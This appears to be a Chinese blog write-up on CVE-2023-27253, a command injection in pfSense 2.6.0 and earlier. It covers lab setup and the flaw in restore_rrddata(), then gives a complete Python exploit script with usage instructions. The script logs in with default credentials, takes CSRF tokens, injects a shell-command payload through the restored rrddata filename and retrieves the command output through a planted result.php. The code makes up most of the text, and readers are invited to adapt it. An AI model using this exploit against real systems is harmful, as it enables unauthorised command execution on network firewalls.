提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
NetGate Pfsense <=2.6.0 版本中存在命令注入漏洞(CVE-2023-27253),该漏洞存在于Backup&Restore模块的函数restore_rrddata()中,导致拥有管理员权限的攻击者可以通过操纵提供给组件config.xml的XML文件的内容来执行任意命令。
以下是漏洞复现步骤以及根据matesploit攻击模块改编的python攻击脚本。
一、pfsense是什么?
pfSense是一个基于FreeBSD ,专为防火墙和路由器功能定制的开源版本。 它被安装在计算机上作为网络中的防火墙和路由器存在,并以可靠性著称,且提供往往只存在于昂贵商业防火墙才具有的特性。它可以通过WEB页面进行配置,升级和管理而不需要使用者具备FreeBSD底层知识。
漏洞影响版本:<= 2.6.0
二、环境搭建
新建虚拟机,选择FreeBSD,添加第二网卡。导入从官网下载的pfSense 2.6.0的iso文件。
安装好重启后配置WAN与LAN地址。LAN为访问web的地址。
是否启用http作为web协议选择启用
访问ip,登录,默认用户名密码:admin/pfsense,进行防火墙初始化设置。
三、触发条件
漏洞位于Backup&Restore模块的函数restore_rrddata(),攻击者在上传xml配置文件进行重置时,可以通过在文件名之后拼接命令实现命令注入。具体原因如下:
$rrd_file参数在接收到文件内容之后,直接传递给exec()函数调用rrdtool执行 restore -f '文件名' '文件内容' 命令。在此期间未对传入的文件名或文件内容进行过滤与控制。
根据restore -f 命令所带参数的特点,可以在文件内容之后拼接系统命令一并传入exec()函数。
payload:默认文件名';cmd;
由于命令执行无回显,使用sleep来对其进行验证。
四、exp开发
根据matesploit的ruby脚本分析,在执行漏洞利用时,首先进行账户登录与版本获取。只有运行版本在2.7.0以下,才会进行后续验证。
后续经过获取csrf_token值以及下载配置文件等操作来获取所需数据。最后构造漏洞利用所需的post数据包,发送http请求。
poc中的payload为:默认文件名';script -a result.php cmd;。script -a命令会在当前目录创建result.php,并将命令执行的结果保存在该文件中。由于命令执行的结果无回显,故通过访问result.php文件的方式获取命令执行结果。
以下是完整代码:
#该代码只用于学习,禁止用于非法途径
import re
import requests
import random
import string
import argparse
class MetasploitModule:
def __init__(self, args):
self.target_url = args.url.rstrip('/')
self.username = args.username
self.password = args.password
self.cmd = args.cmd
self.logged_in = False
self.cookie = None
self.csrf_token = None
def check(self):
if not self.login():
return 'Could not obtain the login cookies needed to validate the vulnerability!'
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': f"{self.target_url}/index.php",
'Connection': 'close',
'Cookie': self.cookie,
'Upgrade-Insecure-Requests': '1',
}
response = requests.get(f"{self.target_url}/diag_backup.php", headers=headers,verify=False)
if response.status_code != 200:
return f"Could not connect to web service - HTTP response code: {response.status_code}"
if 'Diagnostics' not in response.text:
return 'Vulnerable module not reachable'
version = self.detect_version()
if not version:
return 'Unable to get the pfSense version'
if self.is_patched_version(version):
return f"Patched pfSense version {version} detected"
return f"The target appears to be running pfSense version {version}, which is unpatched!"
except Exception as e:
return f"Error occurred during check: {str(e)}"
def login(self):
if self.logged_in:
return True
try:
response = requests.get(f"{self.target_url}/index.php", verify=False)
csrf_match = re.search(r'var csrfMagicToken = "(.*?)";', response.text)
if csrf_match:
self.csrf_token = csrf_match.group(1)
else:
# Try to extract CSRF token from Set-Cookie header
csrf_cookie = re.search(r'csrfMagicToken=([^;]+)', response.headers.get('Set-Cookie', ''))
if csrf_cookie:
self.csrf_token = csrf_cookie.group(1)
else:
return False
data = {
'__csrf_magic': self.csrf_token,
'usernamefld': self.username,
'passwordfld': self.password,
'login': '',
}
response = requests.post(f"{self.target_url}/index.php", data=data, verify=False, allow_redirects=False)
if response.status_code == 302:
# Store the cookies in the cookie variable
self.cookie = response.headers.get('Set-Cookie')
self.logged_in = True
return True
return False
except Exception:
return False
# Get the pfsense version
def detect_version(self):
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': self.cookie,
'Upgrade-Insecure-Requests': '1',
}
response = requests.get(f"{self.target_url}/index.php", headers=headers,verify=False)
version_match = re.search(r'<strong>([\d.]+-RELEASE)</strong>', response.text)
return version_match.group(1) if version_match else None
except Exception:
return None
def is_patched_version(self, version):
# Extract the numeric portion of the version number and convert it to a list of integers
version_parts = [int(part) for part in version.split('.')[0].split('-')[0].split('RELEASE')[0].split('-')]
# list of integers specifying patched version numbers
patched_version = [2, 7, 0]
# Compare version numbers
return version_parts >= patched_version
def get_csrf(self, method):
#print(f"Getting CSRF token for {method} request to {self.target_url}...")
res = self.get_csrf_req(method)
if not res or not res.text:
print("No response or empty response text. CSRF token extraction failed.")
return None
match = re.search(r'var csrfMagicToken = "(?P<csrf>sid:[a-z0-9,;:]+)";', res.text)
if match:
csrf_token = match.group('csrf')
return csrf_token
else:
print("CSRF token extraction failed. CSRF token not found.")
return None
def get_csrf_req(self, method):
url = f"{self.target_url}/diag_backup.php"
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': f"{self.target_url}/diag_backup.php",
'Connection': 'close',
'Cookie': self.cookie,
'Upgrade-Insecure-Requests':'1'
}
response = requests.get(url, headers=headers, verify=False)
except requests.exceptions.RequestException as e:
raise Exception(f'Failed to send {method} request to {url}: {e}')
return response
# Provide the required data for subsequent exploits by downloading the configuration file rrddata
def drop_config(self):
url = f"{self.target_url}/diag_backup.php"
csrf = self.get_csrf("GET")
if not csrf:
raise Exception("Could not get the expected CSRF token for diag_backup.php when dropping the config!")
payload = {
"__csrf_magic": csrf,
"backuparea": "rrddata",
"encrypt_password": "",
"encrypt_password_confirm": "",
"download": "Download configuration as XML",
"restorearea": "",
"conffile": "",
"decrypt_password": ""
}
res = self.drop_config_res(data=payload)
while res.status_code == 403 :
try:
headers = {
'Content-Type':'application/x-www-form-urlencoded',
'Origin':self.target_url,
'Referer': f"{self.target_url}/diag_backup.php",
'Cookie': self.cookie,
}
data_again = {
"__csrf_magic": csrf,
"backuparea": "rrddata",
"encrypt_password": "",
"encrypt_password_confirm": "",
"download": "Download configuration as XML",
"restorearea": "",
"conffile": "",
"decrypt_password": "",
"submit":"Try+again"
}
res = requests.post(url, headers=headers,data=data_again, verify=False)
except requests.exceptions.RequestException as e:
raise Exception(f'Failed to send request to {url}: {e}')
#return res.text
if res and res.status_code == 200 and "<rrddatafile>" in res.text:
return res.text
else:
return None
def drop_config_res(self, data):
url = f"{self.target_url}/diag_backup.php"
try:
headers = {
'Content-Type':'multipart/form-data;',
'Origin':self.target_url,
'Referer': f"{self.target_url}/diag_backup.php",
'Connection': 'close',
'Cookie': self.cookie,
'Upgrade-Insecure-Requests':'1'
}
if isinstance(data, dict):
response = requests.post(url, headers=headers,data=data, verify=False)
elif isinstance(data, str):
response = requests.post(url, headers=headers,data=data.encode('utf-8'), verify=False)
except requests.exceptions.RequestException as e:
raise Exception(f'Failed to send request to {url}: {e}')
return response
def exploit(self):
if not self.login():
raise Exception('Could not obtain the login cookies!')
if not self.csrf_token:
raise Exception('CSRF token not available. Cannot send exploit payload.')
config_data = self.drop_config()
if not config_data:
raise Exception('The drop config response was empty!')
match = re.search(r'<filename>(?P<file>.*?)</filename>', config_data)
if not match:
raise Exception('Could not get the filename from the drop config response!')
filename = match.group('file')
if filename in config_data:
# Modify the config_data with the payload
payload = f"WANGW-quality.rrd\';script -a result.php {self.cmd};"
config_data = config_data.replace(' ', '${IFS}')
send_p = config_data.replace(match.group(1), payload)
else:
raise Exception('Could not find filename in the drop config response!')
csrf = self.get_csrf( 'GET')
if not csrf:
raise Exception('Could not get the expected CSRF token for diag_backup.php when sending exploit payload!')
boundary = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(30))
Content_Type = 'multipart/form-data; boundary='+f'{boundary}'
url = f"{self.target_url}/diag_backup.php"
headers_end = {
'Content-Type': f"{Content_Type}",
'origin':self.target_url,
'Referer': f"{self.target_url}/diag_backup.php",
'Cookie': self.cookie,
}
post_data = f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="__csrf_magic"\r\n' \
f'\r\n' \
f'{csrf}\r\n' \
f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="backuparea"\r\n' \
f'\r\n' \
f'rrddata\r\n' \
f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="donotbackuprrd"\r\n' \
f'\r\n' \
f'yes\r\n' \
f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="backupssh"\r\n' \
f'\r\n' \
f'yes\r\n' \
f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="restorearea"\r\n' \
f'\r\n' \
f'rrddata\r\n' \
f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="conffile"; filename="WANGW-quality.xml"\r\n' \
f'Content-Type: text/xml\r\n' \
f'\r\n' \
f'{send_p}\r\n' \
f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="decrypt_password"\r\n' \
f'\r\n' \
f'\r\n' \
f'--{boundary}\r\n' \
f'Content-Disposition: form-data; name="restore"\r\n' \
f'\r\n' \
f'Restore Configuration\r\n' \
f'--{boundary}--'
res = requests.post(url,headers=headers_end, data=post_data,verify=False)
if res.status_code == 200:
print("Vulnerability exists!")
try:
module.retrieve_result()
except Exception as e:
print(f"Error occurred during command retrieval: {str(e)}")
def retrieve_result(self):
try:
cookies = {'Cookie': self.cookie}
res = requests.get(f"{self.target_url}/result.php", cookies=cookies, verify=False)
if res.status_code == 200:
content = res.text
print(content)
except Exception as e:
return f"Error occurred during result retrieval: {str(e)}"
def parse_args():
parser = argparse.ArgumentParser(description='pfSense Restore RRD Data Command Injection exploit')
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://192.168.1.2)')
parser.add_argument('--username', default='admin', help='Username to authenticate with')
parser.add_argument('--password', default='pfsense', help='Password to authenticate with')
parser.add_argument('--cmd', required=True, help='Command to execute')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
module = MetasploitModule(args)
# Call the check method of the module to get the check result
result = module.check()
# Output check result
print(result)
# Execute the exploit method if the check indicates that the target is vulnerable
if "unpatched" in result.lower():
try:
module.exploit()
except Exception as e:
print(f"Error occurred during exploit: {str(e)}")
使用方法:python cve-2023-27253_poc.py --url <url> --username admin --password pfsense --cmd <cmd>
必选参数:
--url 目标地址 (该poc只支持对启用http协议的目标进行利用)
--username (默认用户名为admin)
--password (默认密码为pfsense)
--cmd
总结
网上大多数漏洞信息都是使用matesploit攻击,原ruby脚本发送的是https请求,不利于抓取明文数据包分析,该exp改为http请求,故在搭建环境时需要选择http作为web协议。
该exo只作为简单验证,并不具备成熟的利用条件,广大网友可根据自己的需求进行修改。